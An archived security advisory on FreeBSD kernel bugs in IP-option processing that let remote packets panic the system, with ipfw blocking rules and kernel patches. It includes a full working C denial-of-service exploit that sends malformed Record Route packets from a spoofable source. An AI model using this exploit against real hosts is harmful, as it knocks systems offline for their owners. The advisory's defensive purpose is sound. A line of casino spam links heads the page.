Casinos Not On GamstopNon Gamstop CasinosCasinos Not On GamstopOnline Casinos UKNon Gamstop Casino
11th Jul 2000 [SBWID-133]
COMMAND
	    kernel
SYSTEMS AFFECTED
	    FreeBSD systems prior to 2000-06-08 (3.4-STABLE, 4.0-STABLE and 5.0-CURRENT)
PROBLEM
	    Following  is  based  on  NetBSD  Security  Advisory  2000-002 and
	    Jun-ichiro  Itojun  Hagino.   There   are  several  bugs  in   the
	    processing of IP  options in the  FreeBSD IP stack,  which fail to
	    correctly bounds-check arguments  and contain other  coding errors
	    leading to the possibility of  data corruption and a kernel  panic
	    upon reception of certain invalid IP packets.
	    This  set  of  bugs  includes  the  instance  of the vulnerability
	    described in NetBSD  Security Advisory 2000-002  as well as  other
	    bugs with similar effect.  Remote users can cause a FreeBSD system
	    to panic and reboot.
	    'yeti' posted exploit:
	
	    #include <stdio.h>
	    #include <libnet.h>
	    /* Remote denial-of-service in IP stack
	       simple exploit by y3t1
	                         [email protected]
	    Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
	              d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
		      all from :
		               #hwa.hax0r.news@efnet
		               #darnet@efnet
	    */
	    int rand_n(u_long zakres)
	    {
	      return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
	    }
	    int main(int argc, char **argv)
	    {
	        char a;
	        int sock, c,pkt,ile;
	        struct hostent *host;
	        u_long src_ip, dst_ip;
	        u_char *buf;
	        u_char options[4];
	        int option_s  = sizeof(options);
	        struct ipoption ipopt;
	        srand(time(NULL));
	        ile=100;
	        printf("  -= Remote denial-of-service in IP stack =- \n");
	        printf("\n");
	        printf("                          by y3t1/team140\n");
	        printf("                             [email protected] \n");
	        printf("\n");
	        if  (argc < 4)
	        {
	         printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
	         printf(" -s src_addr - source address \n");
	         printf(" -d dst_addr - dest address \n");
	         printf(" -p packets - how many packets send to dest (default 100)\n");
	         exit(1);
	        }
	       opterr=0;
	       while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
	       {
		    switch(a) {
		     case 's': {
		               if ((host=gethostbyname(optarg))!=NULL)
			       bcopy(host->h_addr,&src_ip,host->h_length);
			       else src_ip=inet_addr(optarg);
			       break;
			       }
		     case 'd': {
		               if ((host=gethostbyname(optarg))!=NULL)
			       bcopy(host->h_addr,&dst_ip,host->h_length);
			       else dst_ip=inet_addr(optarg);
		      	       break;
	                       }
	             case 'p': {
		                ile=atoi(optarg);
			        break;
			       }
		     }
	       }
	        bzero(options,option_s);
	        buf = malloc(IP_MAXPACKET);
	        if (!buf)
	        {
	            perror("malloc");
	            exit(-1);
	        }
	        sock = libnet_open_raw_sock(IPPROTO_RAW);
	        if (sock == -1)
	        {
	            perror("socket");
	            exit(-1);
	        }
	        libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);
	        memcpy(ipopt.ipopt_list, options, option_s);
	        *(ipopt.ipopt_list)     = IPOPT_RR;
	        *(ipopt.ipopt_list+1)   = 3;
	        *(ipopt.ipopt_list+2)   = 0xff;
	        *(ipopt.ipopt_list+3)   = 0;
	        c = libnet_insert_ipo(&ipopt,option_s,buf);
	        if (c == -1)
	        {
	            printf("Error\n");
		    exit(1);
	        }
	        libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
	        if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
	        {
	         printf("can't do checksum \n");
	        }
	     for (pkt=0;pkt<ile;pkt++)
	     {
	        buf[22]=rand_n(0xff);
	        c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
	     }
	        free(buf);
	        libnet_close_raw_sock(sock);
	    }
	
SOLUTION
	    Incoming  packets  containing  IP  Options  can  be  blocked  at a
	    perimeter firewall or on  the local system, using  ipfw(8) (ipf(8)
	    is also capable  of blocking packets  with IP Options,  but is not
	    described  here).   The  following  ipfw  rules  are  believed  to
	    prevent  the  denial-of-service  attack  (replace the rule numbers
	    '100'-'103' with whichever rule  numbers are appropriate for  your
	    local firewall, if you are already using ipfw):
	<FOTN COLOR="#00FF00">
	        ipfw add 100 deny log ip from any to any ipopt rr
	        ipfw add 101 deny log ip from any to any ipopt ts
	        ipfw add 102 deny log ip from any to any ipopt ssrr
	        ipfw add 103 deny log ip from any to any ipopt lsrr
	
	    Note that there are legitimate uses for IP options, although  they
	    are no believed to be in common use, and blocking them should  not
	    cause any problems.  Therefore the log entries generated by  these
	    ipfw  rules  will  not  necessarily  be  evidence  of an attempted
	    attack.   Furthermore,  the  packets  may  be  spoofed  and   have
	    falsified source addresses.
	    Solution is one of the following:
	
	        1) Upgrade  your FreeBSD  system to  3.4-STABLE, 4.0-STABLE or
	           5.0-CURRENT after the respective correction dates.
	        2) Apply the patch below and recompile your kernel.
	
	    Either save  this advisory  to a  file, or  download the patch and
	    detached PGP  signature from  the following  locations, and verify
	    the signature using your PGP utility:
	
	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:23/ip_options.diff
	        ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:23/ip_options.diff.asc
	        # cd /usr/src/sys/netinet
	        # patch -p < /path/to/patch_or_advisory
	
	    Recompile your kernel as described in
	
	        http://www.freebsd.org/handbook/kernelconfig.html
	
	    and reboot the system.
	
	    Index: ip_icmp.c
	    ===================================================================
	    RCS file: /ncvs/src/sys/netinet/ip_icmp.c,v
	    retrieving revision 1.39
	    diff -u -r1.39 ip_icmp.c
	    --- ip_icmp.c	2000/01/28 06:13:09	1.39
	    +++ ip_icmp.c	2000/06/08 15:26:39
	    @@ -662,8 +662,11 @@
	 			        if (opt == IPOPT_NOP)
	 				        len = 1;
	 			        else {
	    +				    if (cnt < IPOPT_OLEN + sizeof(*cp))
	    +					    break;
	 				        len = cp[IPOPT_OLEN];
	    -				    if (len <= 0 || len > cnt)
	    +				    if (len < IPOPT_OLEN + sizeof(*cp) ||
	    +				        len > cnt)
	 					        break;
	 			        }
	 			        /*
	    Index: ip_input.c
	    ===================================================================
	    RCS file: /ncvs/src/sys/netinet/ip_input.c,v
	    retrieving revision 1.130
	    diff -u -r1.130 ip_input.c
	    --- ip_input.c	2000/02/23 20:11:57	1.130
	    +++ ip_input.c	2000/06/08 15:25:46
	    @@ -1067,8 +1067,12 @@
	 		    if (opt == IPOPT_NOP)
	 			    optlen = 1;
	 		    else {
	    +			if (cnt < IPOPT_OLEN + sizeof(*cp)) {
	    +				code = &cp[IPOPT_OLEN] - (u_char *)ip;
	    +				goto bad;
	    +			}
	 			    optlen = cp[IPOPT_OLEN];
	    -			if (optlen <= 0 || optlen > cnt) {
	    +			if (optlen < IPOPT_OLEN + sizeof(*cp) || optlen > cnt) {
	 				    code = &cp[IPOPT_OLEN] - (u_char *)ip;
	 				    goto bad;
	 			    }
	    @@ -1174,6 +1178,10 @@
	 			    break;
	 		    case IPOPT_RR:
	    +			if (optlen < IPOPT_OFFSET + sizeof(*cp)) {
	    +				code = &cp[IPOPT_OFFSET] - (u_char *)ip;
	    +				goto bad;
	    +			}
	 			    if ((off = cp[IPOPT_OFFSET]) < IPOPT_MINOFF) {
	 				    code = &cp[IPOPT_OFFSET] - (u_char *)ip;
	 				    goto bad;
	    Index: ip_output.c
	    ===================================================================
	    RCS file: /ncvs/src/sys/netinet/ip_output.c,v
	    retrieving revision 1.99
	    diff -u -r1.99 ip_output.c
	    --- ip_output.c	2000/03/09 14:57:15	1.99
	    +++ ip_output.c	2000/06/08 15:27:08
	    @@ -1302,8 +1302,10 @@
	 		    if (opt == IPOPT_NOP)
	 			    optlen = 1;
	 		    else {
	    +			if (cnt < IPOPT_OLEN + sizeof(*cp))
	    +				goto bad;
	 			    optlen = cp[IPOPT_OLEN];
	    -			if (optlen <= IPOPT_OLEN || optlen > cnt)
	    +			if (optlen < IPOPT_OLEN + sizeof(*cp) || optlen > cnt)
	 				    goto bad;
	 		    }
	 		    switch (opt) {
	
	

Internet highlights